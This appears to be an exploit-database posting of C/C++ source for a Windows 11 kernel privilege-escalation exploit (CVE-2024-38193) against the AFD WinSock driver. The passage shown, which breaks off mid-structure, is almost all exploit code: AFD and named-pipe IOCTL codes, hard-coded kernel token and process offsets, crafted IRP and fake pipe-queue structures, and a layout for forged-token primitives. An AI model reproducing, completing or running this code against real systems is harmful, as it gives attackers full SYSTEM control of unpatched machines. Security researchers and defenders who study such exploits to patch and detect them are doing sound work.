Microsoft Windows 11 Pro 23H2 – Ancillary Function Driver for WinSock Privilege Escalation
# Exploit Title: Microsoft Windows 11 Pro 23H2 - Ancillary Function Driver for WinSock Privilege Escalation # Date: 2025-05-05 # Exploit Author: Milad Karimi (Ex3ptionaL) # Contact: miladgrayhat@gmail.com # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL # Tested on: Win x64 # CVE : CVE-2024-38193 #pragma once #include "ntstatus.h" #include "Windows.h" #include <iostream> #pragma comment(lib, "ntdll.lib") #define HIDWORD(l) ((DWORD)(((DWORDLONG)(l)>>32)&0xFFFFFFFF)) #define LODWORD(l) ((DWORD)((DWORDLONG)(l))) #define AfdOpenPacket "AfdOpenPacketXX" #define AFD_DEVICE_NAME L"\\Device\\Afd" #define LOCALHOST "127.0.0.1" #define IOCTL_AFD_BIND 0x12003LL #define IOCTL_AFD_LISTEN 0x1200BLL #define IOCTL_AFD_CONNECT 0x120BBLL #define IOCTL_AFD_GET_SOCK_NAME 0x1202FLL #define FSCTL_PIPE_PEEK 0x11400CLL #define FSCTL_PIPE_IMPERSONATE 0x11001CLL #define FSCTL_PIPE_INTERNAL_WRITE 0x119FF8 #define OBJ_CASE_INSENSITIVE 0x00000040 #define OBJ_INHERIT 0x00000002 #define FILE_OPEN_IF 0x3 #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) #define OFFSET_IN_TOKEN_VARIABLEPART 0x490 #define OFFSET_IN_TOKEN_TOKEN_PRIVILEGES 0x40 #define OFFSET_IN_TOKEN_PRIMARY_GROUP 0xA8 #define OFFSET_IN_TOKEN_DYNAMIC_PART 0xB0 #define OFFSET_IN_TOKEN_DEFAULT_DACL 0xB8 #define PREVIOUS_MODE_OFFSET 0x232 #define OFFSET_TO_ACTIVE_PROCESS_LINKS 0x448 #define OFFSET_TO_TOKEN 0x4b8 #define CURRENT_THREAD (HANDLE)0xFFFFFFFFFFFFFFFE typedef struct IO_STATUS_BLOCK { union { DWORD Status; PVOID Pointer; }; DWORD* Information; }; //0x4 bytes (sizeof) struct _SYSTEM_POWER_STATE_CONTEXT { union { struct { ULONG Reserved1 : 8; //0x0 ULONG TargetSystemState : 4; //0x0 ULONG EffectiveSystemState : 4; //0x0 ULONG CurrentSystemState : 4; //0x0 ULONG IgnoreHibernationPath : 1; //0x0 ULONG PseudoTransition : 1; //0x0 ULONG KernelSoftReboot : 1; //0x0 ULONG DirectedDripsTransition : 1; //0x0 ULONG Reserved2 : 8; //0x0 }; ULONG ContextAsUlong; //0x0 }; }; //0x4 bytes (sizeof) union _POWER_STATE { enum _SYSTEM_POWER_STATE SystemState; //0x0 enum _DEVICE_POWER_STATE DeviceState; //0x0 }; //0x48 bytes (sizeof) typedef struct _IO_STACK_LOCATION { UCHAR MajorFunction; //0x0 UCHAR MinorFunction; //0x1 UCHAR Flags; //0x2 UCHAR Control; //0x3 union { struct { struct _IO_SECURITY_CONTEXT* SecurityContext; //0x8 ULONG Options; //0x10 USHORT FileAttributes; //0x18 USHORT ShareAccess; //0x1a ULONG EaLength; //0x20 } Create; //0x8 struct { struct _IO_SECURITY_CONTEXT* SecurityContext; //0x8 ULONG Options; //0x10 USHORT Reserved; //0x18 USHORT ShareAccess; //0x1a struct _NAMED_PIPE_CREATE_PARAMETERS* Parameters; //0x20 } CreatePipe; //0x8 struct { struct _IO_SECURITY_CONTEXT* SecurityContext; //0x8 ULONG Options; //0x10 USHORT Reserved; //0x18 USHORT ShareAccess; //0x1a struct _MAILSLOT_CREATE_PARAMETERS* Parameters; //0x20 } CreateMailslot; //0x8 struct { ULONG Length; //0x8 ULONG Key; //0x10 ULONG Flags; //0x14 union _LARGE_INTEGER ByteOffset; //0x18 } Read; //0x8 struct { ULONG Length; //0x8 ULONG Key; //0x10 ULONG Flags; //0x14 union _LARGE_INTEGER ByteOffset; //0x18 } Write; //0x8 struct { ULONG Length; //0x8 struct _UNICODE_STRING* FileName; //0x10 enum _FILE_INFORMATION_CLASS FileInformationClass; //0x18 ULONG FileIndex; //0x20 } QueryDirectory; //0x8 struct { ULONG Length; //0x8 ULONG CompletionFilter; //0x10 } NotifyDirectory; //0x8 struct { ULONG Length; //0x8 ULONG CompletionFilter; //0x10 enum _DIRECTORY_NOTIFY_INFORMATION_CLASS DirectoryNotifyInformationClass; //0x18 } NotifyDirectoryEx; //0x8 struct { ULONG Length; //0x8 enum _FILE_INFORMATION_CLASS FileInformationClass; //0x10 } QueryFile; //0x8 struct { ULONG Length; //0x8 enum _FILE_INFORMATION_CLASS FileInformationClass; //0x10 struct _FILE_OBJECT* FileObject; //0x18 union { struct { UCHAR ReplaceIfExists; //0x20 UCHAR AdvanceOnly; //0x21 }; ULONG ClusterCount; //0x20 VOID* DeleteHandle; //0x20 }; } SetFile; //0x8 struct { ULONG Length; //0x8 VOID* EaList; //0x10 ULONG EaListLength; //0x18 ULONG EaIndex; //0x20 } QueryEa; //0x8 struct { ULONG Length; //0x8 } SetEa; //0x8 struct { ULONG Length; //0x8 enum _FSINFOCLASS FsInformationClass; //0x10 } QueryVolume; //0x8 struct { ULONG Length; //0x8 enum _FSINFOCLASS FsInformationClass; //0x10 } SetVolume; //0x8 struct { ULONG OutputBufferLength; //0x8 ULONG InputBufferLength; //0x10 ULONG FsControlCode; //0x18 VOID* Type3InputBuffer; //0x20 } FileSystemControl; //0x8 struct { union _LARGE_INTEGER* Length; //0x8 ULONG Key; //0x10 union _LARGE_INTEGER ByteOffset; //0x18 } LockControl; //0x8 struct { ULONG OutputBufferLength; //0x8 ULONG InputBufferLength; //0x10 ULONG IoControlCode; //0x18 VOID* Type3InputBuffer; //0x20 } DeviceIoControl; //0x8 struct { ULONG SecurityInformation; //0x8 ULONG Length; //0x10 } QuerySecurity; //0x8 struct { ULONG SecurityInformation; //0x8 VOID* SecurityDescriptor; //0x10 } SetSecurity; //0x8 struct { struct _VPB* Vpb; //0x8 struct _DEVICE_OBJECT* DeviceObject; //0x10 } MountVolume; //0x8 struct { struct _VPB* Vpb; //0x8 struct _DEVICE_OBJECT* DeviceObject; //0x10 } VerifyVolume; //0x8 struct { struct _SCSI_REQUEST_BLOCK* Srb; //0x8 } Scsi; //0x8 struct { ULONG Length; //0x8 VOID* StartSid; //0x10 struct _FILE_GET_QUOTA_INFORMATION* SidList; //0x18 ULONG SidListLength; //0x20 } QueryQuota; //0x8 struct { ULONG Length; //0x8 } SetQuota; //0x8 struct { enum _DEVICE_RELATION_TYPE Type; //0x8 } QueryDeviceRelations; //0x8 struct { struct _GUID* InterfaceType; //0x8 USHORT Size; //0x10 USHORT Version; //0x12 struct _INTERFACE* Interface; //0x18 VOID* InterfaceSpecificData; //0x20 } QueryInterface; //0x8 struct { struct _DEVICE_CAPABILITIES* Capabilities; //0x8 } DeviceCapabilities; //0x8 struct { struct _IO_RESOURCE_REQUIREMENTS_LIST* IoResourceRequirementList; //0x8 } FilterResourceRequirements; //0x8 struct { ULONG WhichSpace; //0x8 VOID* Buffer; //0x10 ULONG Offset; //0x18 ULONG Length; //0x20 } ReadWriteConfig; //0x8 struct { UCHAR Lock; //0x8 } SetLock; //0x8 struct { enum BUS_QUERY_ID_TYPE IdType; //0x8 } QueryId; //0x8 struct { enum DEVICE_TEXT_TYPE DeviceTextType; //0x8 ULONG LocaleId; //0x10 } QueryDeviceText; //0x8 struct { UCHAR InPath; //0x8 UCHAR Reserved[3]; //0x9 enum _DEVICE_USAGE_NOTIFICATION_TYPE Type; //0x10 } UsageNotification; //0x8 struct { enum _SYSTEM_POWER_STATE PowerState; //0x8 } WaitWake; //0x8 struct { struct _POWER_SEQUENCE* PowerSequence; //0x8 } PowerSequence; //0x8 struct { union { ULONG SystemContext; //0x8 struct _SYSTEM_POWER_STATE_CONTEXT SystemPowerStateContext; //0x8 }; enum _POWER_STATE_TYPE Type; //0x10 union _POWER_STATE State; //0x18 enum POWER_ACTION ShutdownType; //0x20 } Power; //0x8 struct { struct _CM_RESOURCE_LIST* AllocatedResources; //0x8 struct _CM_RESOURCE_LIST* AllocatedResourcesTranslated; //0x10 } StartDevice; //0x8 struct { ULONGLONG ProviderId; //0x8 VOID* DataPath; //0x10 ULONG BufferSize; //0x18 VOID* Buffer; //0x20 } WMI; //0x8 struct { VOID* Argument1; //0x8 VOID* Argument2; //0x10 VOID* Argument3; //0x18 VOID* Argument4; //0x20 } Others; //0x8 } Parameters; //0x8 struct _DEVICE_OBJECT* DeviceObject; //0x28 struct _FILE_OBJECT* FileObject; //0x30 LONG(*CompletionRoutine)(struct _DEVICE_OBJECT* arg1, struct _IRP* arg2, VOID* arg3); //0x38 VOID* Context; //0x40 }IO_STACK_LOCATION; //0x18 bytes (sizeof) struct _KDEVICE_QUEUE_ENTRY { struct _LIST_ENTRY DeviceListEntry; //0x0 ULONG SortKey; //0x10 UCHAR Inserted; //0x14 }; //0x58 bytes (sizeof) struct _KAPC { UCHAR Type; //0x0 UCHAR AllFlags; //0x1 UCHAR Size; //0x2 UCHAR SpareByte1; //0x3 ULONG SpareLong0; //0x4 struct _KTHREAD* Thread; //0x8 struct _LIST_ENTRY ApcListEntry; //0x10 VOID* Reserved[3]; //0x20 VOID* NormalContext; //0x38 VOID* SystemArgument1; //0x40 VOID* SystemArgument2; //0x48 CHAR ApcStateIndex; //0x50 CHAR ApcMode; //0x51 UCHAR Inserted; //0x52 }; //0xd0 bytes (sizeof) struct _IRP { SHORT Type; //0x0 USHORT Size; //0x2 USHORT AllocationProcessorNumber; //0x4 USHORT Reserved; //0x6 struct _MDL* MdlAddress; //0x8 ULONG Flags; //0x10 union { struct _IRP* MasterIrp; //0x18 LONG IrpCount; //0x18 VOID* SystemBuffer; //0x18 } AssociatedIrp; //0x18 struct _LIST_ENTRY ThreadListEntry; //0x20 struct IO_STATUS_BLOCK IoStatus; //0x30 CHAR RequestorMode; //0x40 UCHAR PendingReturned; //0x41 CHAR StackCount; //0x42 CHAR CurrentLocation; //0x43 UCHAR Cancel; //0x44 UCHAR CancelIrql; //0x45 CHAR ApcEnvironment; //0x46 UCHAR AllocationFlags; //0x47 union { struct _IO_STATUS_BLOCK* UserIosb; //0x48 VOID* IoRingContext; //0x48 }; struct _KEVENT* UserEvent; //0x50 union { struct { union { VOID(*UserApcRoutine)(VOID* arg1, struct _IO_STATUS_BLOCK* arg2, ULONG arg3); //0x58 VOID* IssuingProcess; //0x58 }; union { VOID* UserApcContext; //0x60 struct _IORING_OBJECT* IoRing; //0x60 }; } AsynchronousParameters; //0x58 union _LARGE_INTEGER AllocationSize; //0x58 } Overlay; //0x58 VOID(*CancelRoutine)(struct _DEVICE_OBJECT* arg1, struct _IRP* arg2); //0x68 VOID* UserBuffer; //0x70 union { struct { union { struct _KDEVICE_QUEUE_ENTRY DeviceQueueEntry; //0x78 VOID* DriverContext[4]; //0x78 }; struct _ETHREAD* Thread; //0x98 CHAR* AuxiliaryBuffer; //0xa0 struct _LIST_ENTRY ListEntry; //0xa8 union { struct _IO_STACK_LOCATION* CurrentStackLocation; //0xb8 ULONG PacketType; //0xb8 }; struct _FILE_OBJECT* OriginalFileObject; //0xc0 VOID* IrpExtension; //0xc8 } Overlay; //0x78 struct _KAPC Apc; //0x78 VOID* CompletionKey; //0x78 } Tail; //0x78 }; typedef struct _TA_ADDRESS { USHORT AddressLength; USHORT AddressType; UCHAR Address[1]; }TA_ADDRESS; typedef struct _TRANSPORT_ADDRESS { LONG TAAddressCount; TA_ADDRESS Address[1]; }TRANSPORT_ADDRESS; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; }OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; typedef struct _SYSTEM_MODULE_ENTRY { HANDLE Section; PVOID MappedBase; PVOID ImageBase; ULONG ImageSize; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT OffsetToFileName; UCHAR FullPathName[256]; } SYSTEM_MODULE_ENTRY, * PSYSTEM_MODULE_ENTRY; typedef struct _SYSTEM_MODULE_INFORMATION { ULONG Count; SYSTEM_MODULE_ENTRY Module[1]; } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION; typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX { PVOID Object; ULONG_PTR UniqueProcessId; ULONG_PTR HandleValue; ULONG GrantedAccess; USHORT CreatorBackTraceIndex; USHORT ObjectTypeIndex; ULONG HandleAttributes; ULONG Reserved; } SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX; typedef struct _SYSTEM_HANDLE_INFORMATION_EX { ULONG_PTR NumberOfHandles; ULONG_PTR Reserved; SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1]; } SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX; typedef struct _AFD_CREATE_PACKET { //FILE_FULL_EA_INFORMATION ULONG NextEntryOffset; WORD Flags; UCHAR EaNameLength; USHORT EaValueLength; CHAR EaName[15]; //AFD_CREATE_PACKET ULONG EndpointFlags; ULONG GroupID; ULONG AddressFamily; ULONG SocketType; ULONG Protocol; ULONG SizeOfTransportName; wchar_t TransportName[16]; //UCHAR Unkown; } AFD_CREATE_PACKET; enum THREADINFOCLASS { ThreadImpersonationToken = 5 }; enum SYSTEM_INFORMATION_CLASS { SystemModuleInformation = 11, SystemExtendedHandleInformation = 64 }; typedef enum EVENT_TYPE { NotificationEvent, SynchronizationEvent }; typedef struct _AFD_BIND_DATA { ULONG ShareType; SOCKADDR_IN addr; } AFD_BIND_DATA, * PAFD_BIND_DATA; typedef struct alignas(16) MY_AFD_CONNECT_INFO { __int64 UseSan; __int64 hNtSock1; __int64 Unknown; __int32 tmp6; WORD const_16; sockaddr_in bind; }; typedef struct FAKE_DATA_ENTRY_QUEUE { DWORD tmp; LIST_ENTRY nextQueue; __int64 unknown; PVOID security_client_context; __int64 unknown2; __int64 sizeOfData; char DATA[0x77FD0]; }; typedef struct _AFD_LISTEN_INFO { ULONG unknown; __int64 MaximumConnectionQueue; } AFD_LISTEN_INFO, * PAFD_LISTEN_INFO; typedef struct _SECURITY_CLIENT_CONTEXT { _SECURITY_QUALITY_OF_SERVICE SecurityQos; void* ClientToken; unsigned __int8 DirectlyAccessClientToken; unsigned __int8 DirectAccessEffectiveOnly; unsigned __int8 ServerIsRemote; _TOKEN_CONTROL ClientTokenControl; }SECURITY_CLIENT_CONTEXT, * PSECURITY_CLIENT_CONTEXT; struct __declspec(align(8)) _OWNER_ENTRY { unsigned __int64 OwnerThread; DWORD ___u1; }; //0x68 bytes (sizeof) typedef struct _ERESOURCE { struct _LIST_ENTRY SystemResourcesList; //0x0 struct _OWNER_ENTRY* OwnerTable; //0x10 SHORT ActiveCount; //0x18 union { USHORT Flag; //0x1a struct { UCHAR ReservedLowFlags; //0x1a UCHAR WaiterPriority; //0x1b }; }; VOID* SharedWaiters; //0x20 VOID* ExclusiveWaiters; //0x28 struct _OWNER_ENTRY OwnerEntry; //0x30 ULONG ActiveEntries; //0x40 ULONG ContentionCount; //0x44 ULONG NumberOfSharedWaiters; //0x48 ULONG NumberOfExclusiveWaiters; //0x4c VOID* Reserved2; //0x50 union { VOID* Address; //0x58 ULONGLONG CreatorBackTraceIndex; //0x58 }; ULONGLONG SpinLock; //0x60 }ERESOURCE, *PERESOURCE; //0x8 bytes (sizeof) typedef struct _EX_PUSH_LOCK { union { struct { ULONGLONG Locked : 1; //0x0 ULONGLONG Waiting : 1; //0x0 ULONGLONG Waking : 1; //0x0 ULONGLONG MultipleShared : 1; //0x0 ULONGLONG Shared : 60; //0x0 }; ULONGLONG Value; //0x0 VOID* Ptr; //0x0 }; }; //0x10 bytes (sizeof) typedef struct _SEP_CACHED_HANDLES_TABLE { struct _EX_PUSH_LOCK Lock; //0x0 struct _RTL_DYNAMIC_HASH_TABLE* HashTable; //0x8 }; //0x8 bytes (sizeof) typedef struct _EX_RUNDOWN_REF { union { ULONGLONG Count; //0x0 VOID* Ptr; //0x0 }; }; //0x20 bytes (sizeof) typedef struct _OB_HANDLE_REVOCATION_BLOCK { struct _LIST_ENTRY RevocationInfos; //0x0 struct _EX_PUSH_LOCK Lock; //0x10 struct _EX_RUNDOWN_REF Rundown; //0x18 }; //0xc0 bytes (sizeof) typedef struct _SEP_LOGON_SESSION_REFERENCES { struct _SEP_LOGON_SESSION_REFERENCES* Next; //0x0 struct _LUID LogonId; //0x8 struct _LUID BuddyLogonId; //0x10 LONGLONG ReferenceCount; //0x18 ULONG Flags; //0x20 struct _DEVICE_MAP* pDeviceMap; //0x28 VOID* Token; //0x30 struct _UNICODE_STRING AccountName; //0x38 struct _UNICODE_STRING AuthorityName; //0x48 struct _SEP_CACHED_HANDLES_TABLE CachedHandlesTable; //0x58 struct _EX_PUSH_LOCK SharedDataLock; //0x68 struct _AUTHZBASEP_CLAIM_ATTRIBUTES_COLLECTION* SharedClaimAttributes; //0x70 struct _SEP_SID_VALUES_BLOCK* SharedSidValues; //0x78 struct _OB_HANDLE_REVOCATION_BLOCK RevocationBlock; //0x80 struct _EJOB* ServerSilo; //0xa0 struct _LUID SiblingAuthId; //0xa8 struct _LIST_ENTRY TokenList; //0xb0 }; //0x30 bytes (sizeof) typedef struct _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION { ULONG SecurityAttributeCount; //0x0 struct _LIST_ENTRY SecurityAttributesList; //0x8 ULONG WorkingSecurityAttributeCount; //0x18 struct _LIST_ENTRY WorkingSecurityAttributesList; //0x20 }AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION; //0x20 bytes (sizeof) typedef struct _SEP_SID_VALUES_BLOCK { ULONG BlockLength; //0x0 LONGLONG ReferenceCount; //0x8 ULONG SidCount; //0x10 ULONGLONG SidValuesStart; //0x18 }SEP_SID_VALUES_BLOCK,*PSEP_SID_VALUES_BLOCK; //0x18 bytes (sizeof) struct _SEP_TOKEN_PRIVILEGES { ULONGLONG Present; //0x0 ULONGLONG Enabled; //0x8 ULONGLONG EnabledByDefault; //0x10 }; //0x1f bytes (sizeof) struct _SEP_AUDIT_POLICY { struct _TOKEN_AUDIT_POLICY AdtTokenPolicy; //0x0 UCHAR PolicySetStatus; //0x1e }; //0x498 bytes (sizeof) struct _TOKEN { struct _TOKEN_SOURCE TokenSource; //0x0 struct _LUID TokenId; //0x10 struct _LUID AuthenticationId; //0x18 struct _LUID ParentTokenId; //0x20 union _LARGE_INTEGER ExpirationTime; //0x28 struct _ERESOURCE* TokenLock; //0x30 struct _LUID ModifiedId; //0x38 struct _SEP_TOKEN_PRIVILEGES Privileges; //0x40 struct _SEP_AUDIT_POLICY AuditPolicy; //0x58 ULONG SessionId; //0x78 ULONG UserAndGroupCount; //0x7c ULONG RestrictedSidCount; //0x80 ULONG VariableLength; //0x84 ULONG DynamicCharged; //0x88 ULONG DynamicAvailable; //0x8c ULONG DefaultOwnerIndex; //0x90 struct _SID_AND_ATTRIBUTES* UserAndGroups; //0x98 struct _SID_AND_ATTRIBUTES* RestrictedSids; //0xa0 VOID* PrimaryGroup; //0xa8 ULONG* DynamicPart; //0xb0 struct _ACL* DefaultDacl; //0xb8 enum _TOKEN_TYPE TokenType; //0xc0 enum _SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; //0xc4 ULONG TokenFlags; //0xc8 UCHAR TokenInUse; //0xcc ULONG IntegrityLevelIndex; //0xd0 ULONG MandatoryPolicy; //0xd4 void* LogonSession; //0xd8 struct _LUID OriginatingLogonSession; //0xe0 struct _SID_AND_ATTRIBUTES_HASH SidHash; //0xe8 struct _SID_AND_ATTRIBUTES_HASH RestrictedSidHash; //0x1f8 struct _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION* pSecurityAttributes; //0x308 VOID* Package; //0x310 struct _SID_AND_ATTRIBUTES* Capabilities; //0x318 ULONG CapabilityCount; //0x320 struct _SID_AND_ATTRIBUTES_HASH CapabilitiesHash; //0x328 struct _SEP_LOWBOX_NUMBER_ENTRY* LowboxNumberEntry; //0x438 struct _SEP_CACHED_HANDLES_ENTRY* LowboxHandlesEntry; //0x440 struct _AUTHZBASEP_CLAIM_ATTRIBUTES_COLLECTION* pClaimAttributes; //0x448 VOID* TrustLevelSid; //0x450 struct _TOKEN* TrustLinkedToken; //0x458 VOID* IntegrityLevelSidValue; //0x460 struct _SEP_SID_VALUES_BLOCK* TokenSidValues; //0x468 struct _SEP_LUID_TO_INDEX_MAP_ENTRY* IndexEntry; //0x470 struct _SEP_TOKEN_DIAG_TRACK_ENTRY* DiagnosticInfo; //0x478 struct _SEP_CACHED_HANDLES_ENTRY* BnoIsolationHandlesEntry; //0x480 VOID* SessionObject; //0x488 ULONGLONG VariablePart; //0x490 }; //0x38 bytes (sizeof) struct _OBJECT_HEADER { LONGLONG PointerCount; //0x0 union { LONGLONG HandleCount; //0x8 VOID* NextToFree; //0x8 }; struct _EX_PUSH_LOCK Lock; //0x10 UCHAR TypeIndex; //0x18 union { UCHAR TraceFlags; //0x19 struct { UCHAR DbgRefTrace : 1; //0x19 UCHAR DbgTracePermanent : 1; //0x19 }; }; UCHAR InfoMask; //0x1a union { UCHAR Flags; //0x1b struct { UCHAR NewObject : 1; //0x1b UCHAR KernelObject : 1; //0x1b UCHAR KernelOnlyAccess : 1; //0x1b UCHAR ExclusiveObject : 1; //0x1b UCHAR PermanentObject : 1; //0x1b UCHAR DefaultSecurityQuota : 1; //0x1b UCHAR SingleHandleEntry : 1; //0x1b UCHAR DeletedInline : 1; //0x1b }; }; ULONG Reserved; //0x1c union { struct _OBJECT_CREATE_INFORMATION* ObjectCreateInfo; //0x20 VOID* QuotaBlockCharged; //0x20 }; VOID* SecurityDescriptor; //0x28 struct _TOKEN Body; //0x30 }; struct mm { void* fake_data_entry; void* input; _IRP* crafted_irp; IO_STACK_LOCATION *crafted_arbitrary_io_stack_location; void* p_mem_0x30; void* p_mem_0xD0_2; _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION* pSecurityAttributes; ACL* VariablePartDefaultDacl; ACL* VariablePartDefaultDacl2; _ERESOURCE* TokenLock; void* PrimaryGroup; int sizeOfClientTokenAndObjectHeader; PSEP_SID_VALUES_BLOCK TokenSidValues; _SECURITY_CLIENT_CONTEXT* security_client_context; _SEP_LOGON_SESSION_REFERENCES* LogonSession; _TOKEN* fakeToken; void *pipe_100_im_control_block; void* pipe_100_rw_control_block; void* p_mem_Pipe_hToPipe_1000_rw; void* p_mem_Pipe_hToPipe_1000_rw_2; HANDLE hPipeIM; HANDLE hPipeRW; HANDLE hFileIM; HANDLE hFileRW; HANDLE IncPrimitiveTOKEN; HANDLE RWPrimitiveTOKEN; }; //0x18 bytes (sizeof) struct _DISPATCHER_HEADER { union { volatile LONG Lock; //0x0 LONG LockNV; //0x0 struct { UCHAR Type; //0x0 UCHAR Signalling; //0x1 UCHAR Size; //0x2 UCHAR Reserved1; //0x3 }; struct { UCHAR TimerType; //0x0 union { UCHAR TimerControlFlags; //0x1 struct { UCHAR Absolute : 1; |